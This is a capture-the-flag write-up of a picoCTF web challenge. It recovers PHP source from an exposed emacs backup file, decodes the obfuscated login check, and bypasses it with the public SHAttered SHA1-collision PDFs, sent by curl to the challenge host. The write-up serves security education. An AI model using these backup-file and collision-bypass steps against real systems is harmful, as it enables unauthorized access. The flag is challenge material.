Challenge Overview
I found a web app that claims to be impossible to hack!
Try it here!
Solution
First when going to the website no matter what input you put it, it will return Failed! No flag for you with no source code showed how the impossibleLogin.php functions beyond the basic structure of the web page.
By looking at the hints it mentions Backup files and that the the lead developer is a militant emacs user. So if you such backup files emacs you can easily come across in the first result the naming scheme which has a tilda ~ appended to the end of the filename. So by going to this modified webpage link: http://verbal-sleep.picoctf.net:50313/impossibleLogin.php~
And looking in the source code again in the web dev tools you can now see php code listed near the bottom:
<?php
if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?>
Here is the same code just formatted better with spacing:
<?php
if (
isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")]) &&
isset($_POST[base64_decode("\143\x48\x64\x6b")])
) {
$yuf85e0677 = $_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];
$rs35c246d5 = $_POST[base64_decode("\143\x48\144\153")];
if ($yuf85e0677 == $rs35c246d5) {
echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");
} else {
if (sha1($yuf85e0677) === sha1($rs35c246d5)) {
echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));
} else {
echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");
}
}
}
?>
From here you can use php to get the base64 decoded version of the text. Here is a php script that only gets prints out all of the base64 strings with no repititions:
<?php
echo base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d");
echo "\n";
echo base64_decode("\143\x48\x64\x6b");
echo "\n";
echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");
echo "\n";
echo base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75");
?>
Output:
username
pwd
<br/>Failed! No flag for you
../flag.txt
PHP Script with the base64 decoded:
<?php
if (
isset($_POST["username"]) &&
isset($_POST["pwd"])
) {
$yuf85e0677 = $_POST["username"];
$rs35c246d5 = $_POST["pwd"];
if ($yuf85e0677 == $rs35c246d5) {
echo "<br/>Failed! No flag for you";
} else {
if (sha1($yuf85e0677) === sha1($rs35c246d5)) {
echo file_get_contents("../flag.txt");
} else {
echo "<br/>Failed! No flag for you";
}
}
}
?>
From this script it can now be more clearly seen that yuf85e0677 is set to username and rs35c246d5 is set to password. If they equal each other than the script fails, however if the sha1 hashes match then it will give the flag otherwise it will also fail. Meaning that there needs to be an input of a username and password that have different values but the same hash. Basically a SHA1 hash collision. When looking that up you can find the first SHA1 hash collision found in a google security blog:
https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html
You can find the referenced pdfs that have the hash collision on:
You can use this command to get the pdfs in your current directory:
wget https://shattered.io/static/shattered-1.pdf https://shattered.io/static/shattered-2.pdf
Lastly, you can use curl to input the files in the respective username and password (pwd) fields onto the impossibleLogin.php page.
curl -X POST -F "username=<shattered-1.pdf" -F "pwd=<shattered-2.pdf" http://verbal-sleep.picoctf.net:50313/impossibleLogin.php
After that near the end of the page the flag will be displayed.
Flag: picoCTF{w3Ll_d3sErV3d_Ch4mp_5b26...}